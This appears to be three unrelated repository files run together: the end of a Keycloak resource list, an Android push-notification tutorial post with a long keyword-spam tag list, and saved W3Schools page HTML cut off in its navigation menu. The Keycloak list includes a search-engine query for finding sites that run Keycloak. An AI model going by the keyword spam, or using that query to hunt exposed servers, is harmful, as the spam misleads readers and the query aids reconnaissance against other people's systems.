examples](https://github.com/ivangfr/keycloak-clustered) * [Keycloak Last Login Date Event Listener](https://github.com/ThoreKr/keycloak-last-login-event-listener) * [Keycloak Project Example (Customizations, Extensions, Configuration)](https://github.com/thomasdarimont/keycloak-project-example) * [Example of adding API Key authentication to Keycloak](https://github.com/zak905/keycloak-api-key-demo) ## Benchmarks * [Gatling based Benchmark by @rvansa](https://github.com/rvansa/keycloak-benchmark) ## Help * [Keycloak on Stackoverflow](https://stackoverflow.com/questions/tagged/keycloak) ## Commercial Offerings * [Red Hat Single Sign-On](https://access.redhat.com/products/red-hat-single-sign-on) * [INTEGSOFT UNIFIED USER CREDENTIALS WITH KEYCLOAK SSO](https://www.integsoft.cz/en/sso.html#what-is-sso) * [JIRA SSO Plugin by codecentric](https://marketplace.atlassian.com/plugins/de.codecentric.atlassian.oidc.jira-oidc-plugin/server/overview) * [Keycloak Competence Center by Inventage AG](https://keycloak.ch/) * [Keycloak as a Service](https://www.cloud-iam.com) ## Miscellaneous * [Find sites using Keycloak with google](https://www.google.de/search?q=inurl%3Aauth+inurl%3Arealms+inurl%3Aprotocol&oq=inurl%3A&client=ubuntu&sourceid=chrome&ie=UTF-8) * [Keycloak Dev Bookmarks](http://bookmarks.dev/search?q=keycloak) - Use the tag [keycloak](https://www.bookmarks.dev/tagged/keycloak) * [Use fail2ban to block brute-force attacks to keycloak server](https://gist.github.com/drmalex07/3eba8b98d0ac4a1e821e8e721b3e1816) * [Pentest-Report Keycloak 8.0 Audit & Pentest 11.2019 by Cure53](https://cure53.de/pentest-report_keycloak.pdf) * [Keycloak - CNCF Security SIG - Self Assesment](https://docs.google.com/document/d/14IIGliP3BWjdS-0wfOk3l_1AU8kyoSiLUzpPImsz4R0/edit#) # License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Thomas Darimont](https://github.com/thomasdarimont) has waived all copyright and related or neighboring rights to this work.
rana01645
Firstly read the full documentation of how to add push notification in any android app How to add push notification in android application from android studio – Android developer (part – 1 Connect with firebase ) ~ http://androidrace.com/2016/12/08/how-to-add-push-notification-in-android-application-from-android-studio-android-developer-part-1-connect-with-firebase/ How to add push notification in android application from android studio – Android developer (part – 2 Working with server) ~http://androidrace.com/2017/01/05/how-to-add-push-notification-in-android-application-from-android-studio-android-developer-part-2-working-with-server/ If you face any problem dont forget to share :) Tags: android push notification tutorial android push notifications not working android push notification icon android push notification character limit android push notification permission android push notification api android push notification payload android push notification sound android push notification icon size android push notification from server android push notification android push notification settings android push notification service android push notification app android push notification api key android push notification action button android push notification architecture android push notification alternative what is an android push notification android push notification banner android push notification broadcast receiver android push notification broadcast receiver example android push notification certificate android push notification custom sound android push notification cost android push notification click event android push notification code android push notification custom data android push notification design android push notification delay android push notification display android push notification dialog android push notification demo android push notification documentation android push notification data android push notification example android push notification enabled android push notification example android studio android push notification example ph android push notification example github android push notification firebase android push notification fcm android push notification from server example android push notification fcm tutorial android push notification from php android push notification firebase tutorial android push notification gcm android push notification guidelines android push notification github android push notification gcm example android push notification guide android push notification guaranteed delivery android push notification gcm architecture android push notification how it works android push notification handle android push notification http android push notification howto androidhive push notification android push notification hello world android push notification header android push notification image android push notification icon guidelines android push notification in php android push notification json android push notification java android push notification json example android kitkat push notification kik push notification android android push notifications android push notification material design android push notification manifest android push notification multiple devices android push notification not working android push notification not received android push notification no sound android push notification not showing android push notification not working on wifi android push notification open activity android push notification open app android push notification online android push notification offline android push notification own server turn on android push notifications android push notification problem android push notification php android push notification popup android push notification programmatically android push notification pendingintent android push notification php code android push notification receiver android push notification requirements android push notification response android push notification registration android push notification response codes android push notification server android push notification server java android push notification sample code android push notification service tutorial android push notification test android push notification tutorial gcm android push notification title android push notification tutorial using firebase android push notification tutorial php android push notification using fcm android push notification using gcm android push notification using gcm php android push notification using php android push notification using gcm example android push notification using gcm tutorial android push notification using fcm php android push notification using firebase cloud messaging android push notification with image android push notification while app is not running android push notification when app is closed android push notification without app android push notification with firebase android push notification with gcm android push notification with php android push notification time zone android push notification 2.2 android push notification 2.3 android push notification tutorial 2014 push notification android 2.3.3 android push notification 3rd party android push notification 3g android 4 push notification android 4.1 push notification push notification android 4.0.4 android 4.3 push notification push notification android 4.4.2 android 4.4 push notification android 4.3 disable push notification basic 4 android push notification basic 4 android push notifications android 5 push notification android 5.0 push notification android 5 push notifications
hiteshsuthar01
<html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'></i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'></a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" 